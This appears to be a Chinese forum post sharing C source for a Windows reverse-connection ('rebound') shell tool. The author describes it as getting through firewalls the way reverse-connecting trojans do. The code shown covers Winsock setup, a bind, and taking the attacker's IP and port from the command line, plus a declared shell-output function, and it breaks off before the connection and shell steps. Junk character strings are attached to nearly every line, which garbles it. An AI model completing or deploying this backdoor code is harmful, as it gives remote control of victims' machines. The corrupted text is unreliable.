这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;Q"xXT`;:
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/* ============================== l_tr,3_w
Rebound port in Windows NT I^erMQn[ z
By wind,2006/7 _~V7m
===============================*/ d 7vD
#include 4FSA:]o-
#include I\djZG$s;N
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#pragma comment(lib,"wsock32.lib") OUCLtn\
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void OutputShell(); YjaEKM8*
SOCKET sClient; (B|4wR\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4CA(` _i~
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void main(int argc,char **argv) k"_i7
{ :lj1[q:Y>
WSADATA stWsaData; S o>P)d$8+
int nRet; >iD&n4TK
SOCKADDR_IN stSaiClient,stSaiServer; O[ tD7!1
htC~BK3(
if(argc != 3) ^Ud1 ag!-
{ \a\-hm
printf("Useage:\n\rRebound DestIP DestPort\n"); U9k;)fK
return; `K -j
} -*xm<R],
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WSAStartup(MAKEWORD(2,2),&stWsaData); fZ8%Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {
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stSaiClient.sin_family = AF_INET; n0|oV(0FE
stSaiClient.sin_port = htons(0); \Tf[% Kt x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~)>O=nR
#oBM A
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DUBEh@
{ ZH'- >/
printf("Bind Socket Failed!\n"); VB
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return; h'*>\eC6
} c@H_f
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stSaiServer.sin_family = AF_INET; 7{<:g!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mZGAl1`8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .m--#r
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